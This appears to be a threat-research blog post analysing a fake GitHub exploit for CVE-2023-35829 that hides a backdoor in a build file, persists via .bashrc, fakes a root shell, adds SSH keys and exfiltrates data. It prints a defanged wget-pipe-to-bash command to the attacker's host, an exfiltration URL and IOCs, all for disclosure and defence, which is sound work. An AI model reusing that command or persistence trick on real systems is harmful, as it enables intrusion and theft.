New PoC Exploit Found: Fake Proof of Concept with Backdoor Malware

Threat Researchers: Nischay Hegde and Siddartha Malladi

A deceptive twist has appeared within cybersecurity norms—a proof of concept (PoC) that, rather than demonstrating a vulnerability, stealthily harbors a hidden backdoor. Recently discovered by the Uptycs threat research team, our finding particularly impacts the security research community.

As their primary users, security researchers rely on PoCs to understand potential vulnerabilities by way of innocuous testing. In this instance, the PoC is a wolf in sheep’s clothing, harboring malicious intent under the guise of a harmless learning tool. Its concealed backdoor presents a stealthy, persistent threat. Operating as a downloader, it silently dumps and executes a Linux bash script, all the while disguising its operations as a kernel-level process.

Its persistence methodology is quite crafty. Used to build executables from source code files, it leverages the make command to create a kworker file and adds its file path to the bashrc file, thus enabling the malware to continually operate within a victim’s system.

The backdoor has broad data theft capabilities. It can exfiltrate a wide array of data—from the hostname and username to an exhaustive list of home directory contents. Moreover, an attacker can gain full access to a target system by adding their ssh key to the authorized_keys file.

Despite its removal from GitHub, this malicious PoC has been widely shared, achieving significant engagement before its nefarious nature was exposed. For those who have executed it, the likelihood of data compromise is high. Therefore it’s crucial to:

• remove any unauthorized ssh keys
• delete the kworker file
• remove the kworker path from the bashrc file
• check /tmp/.iCE-unix.pid for potential threats

While it can be challenging to distinguish legitimate PoCs from deceptive ones, adopting safe practices such as testing in isolated environments (e.g., virtual machines) can provide a layer of protection.

Although not entirely new, this trend of spreading malware through PoCs poses a significant concern, and it’s likely we’ll see this tactic continue to evolve. The Uptycs threat research team remains vigilant in uncovering such threats, thereby helping the security research community to stay abreast of evolving cybersecurity risks.

Unveiling the Fake PoC

While testing PoCs of various CVEs, our team encountered one claiming to address CVE-2023-35829 (a critical vulnerability), its unusual activity being detected by Uptycs XDR. Significant irregularities suggested it might be deceptive in nature, prompting us to question its legitimacy.

Suspicious activity included unexpected network connections, unusual data transfers, and unauthorized system access attempts. Further investigation fleshed out aclocal.m4 as the initial file requiring additional analysis.

Figure 1 – PoC repository files

aclocal.m4 is normally part of automake, used by autoconf to consolidate macros. And it’s usually not an elf (executable and linkable format) file as it is here.

Figure 2 shows how make triggers src/aclocal.m4, which is the focus of this article.

Figure 2 – The offending makefile

Technical Analysis

The binary’s main function begins with an interesting string—kworker (figure 3).

Figure 3 – The start of the binary

Line 79 checks if the binary is named kworker. If true, flow passes to the else condition in line 84. If not, two functions are executed called copy_to_kworker() and add_to_bashrc(). Establishing backdoor persistence, these copy the current file to $HOME/.local/kworker and add its file path to the $HOME/.bashrc file. 

To conceal its presence, the program embeds itself in bashrc. The check_for_pidfile() function (figure 4) helps ensure that multiple instances of the same program aren’t running simultaneously. 

Figure 4 – Check_for_pidfile() function

After checking the /tmp/.ICE-unix.pid path, it writes the PID of the currently running process if no function has used flock(2) to restrict file access. The program proceeds only if the main function returns zero (0), indicating the current process is exclusive. 

Figure 5 – Main function else portion

Achieved by forking the program, a new string [kworker/8:3] is created In the main function to obscure the original command line parameters. Subsequently, the parent process executes the curl_func() function, which uses the libcurl library to download a URL that is obfuscated so as basic static analysis can’t easily find it. The URL is hxxp[:]//cunniloss[.]accesscam[.]org/hash[.]php; it contains a bash script that is run if the curl request succeeds. 

(libcurl provides programmatic access to curl; it can be directly included in a binary {statically compiled} or called dynamically.)

Figure 6 – Excerpt from curl_func()

Figure 7 – Code portion that downloads the bash script

The %s variable is replaced by the curl request output, which implies that the following is the command run by kworker:

sh -c wget -q -O – http[:]//cunniloss[.]accesscam[.]org/do[.]php?u=$(whoami) | bash 2>&1 > /dev/null

Deconstructing the Bogus PoC

This PoC is copied from an old, legitimate PoC of a Linux kernel vulnerability, CVE-2022-34918. On the surface, it appears to be an authentic demonstration, complete with strings that mimic genuine output. But the true nature of this deception becomes apparent upon closer examination of its code—particularly the discrepancies found within modprobe.c.

A new_sn() function in the fake modprobe.c allocates memory, attempts to open a specific file, closes the file if it was successfully opened, generates a random number, then pauses program execution for a random duration.

Figure 8 – Comparison of modprobe.c between the PoCs

A prepare_root_shell() function prints some strings and calls the setup_modprobe_payoad() function based on the condition. It exits with a status code of 0 after completing these operations.

Figure 9 – Code portion that prints legitimate looking strings

The aforementioned setup_modprobe_payoad() assigns a value to the filename variable, then executes a /bin/sh command to open a new system shell. It then frees the memory allocated to filename.

Figure 10 – Code segment that shows it is faking the shell

In its entirety, the bogus PoC sleeps for a random duration, prints legitimate-looking strings, ultimately launching a /bin/bash shell.

Curiously, when executing whoami within this shell, it falsely reports the user ID as root. This deception is accomplished by exploiting the difference in the user namespace ID inside and outside the PoC root shell.

Figure 11 – Listing namespaces inside PoC root shell

Figure 12 – Listing namespaces outside PoC root shell

As seen in figures 11 and 12, the user namespace differs between the two shells, implying they’re using two distinct namespaces.

(Linux kernel namespaces permit isolation of system resources. Each provides an independent environment for specific resources (e.g., PIDs, network interfaces, file systems, et al.). Such isolation helps prevent interference and provides a level of security between processes or components running on the system.)

Here, the phony PoC takes advantage of the namespace concept to create the illusion of being a root shell. Specifically, it manipulates the user namespace, which is responsible for managing user and group identities within a given process or container. But in reality, granted privileges are limited to the /bin/bash shell within a given namespace.

Detection through Uptycs XDR

Using Uptycs XDR, we detected that the binary primarily acts as a downloader, retrieving a script from a remote source and executing it on the compromised system. Upon execution, the downloaded script initially accesses the /etc/passwd file. Then it modifies the ~/.ssh/authorized_keys to grant unauthorized access and employs curl to exfiltrate data via transfer[.]sh. In correlation with the MITRE ATT&CK matrix, the combination of these actions caused a medium-level detection in Uptycs XDR. 

Figure 13 – Uptycs XDR detection

The following is a URL example used to exfiltrate data:

hxxp[:]//cunniloss[.]accesscam[.]org/term[.]php[?]term[=]hxxps[:]//transfer[.]sh/rnmWbQyyz8/<username>[.]txt

(Note: The domain that hosts the script has been taken down, so a detailed analysis cannot be done in this article.)

Conclusion

The Uptycs team has seen this modus operandi earlier; spreading malware through a malicious PoC is not new. The same profile, ChriSander22, is circulating another bogus PoC for VMware Fusion CVE-2023-20871. Its contents are the same as CVE-2023-35829, with the same aclocal.m4 triggering installation of the hidden backdoor. Both of ChriSander22’s other repositories are down, but we cannot confirm whether it was Github that did this or the profile owner.

Figure 14 – Directory of phony CVE-2023-20871 PoC

Figure 15 – Github profile page of fake PoC

Figure 16 – Another Github profile page of fake PoCs

IOCs

URLs

hxxp[:]//cunniloss[.]accesscam[.]org
hxxp[:]//transfer[.]sh
IP 81[.]4[.]109[.]16

Source: https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware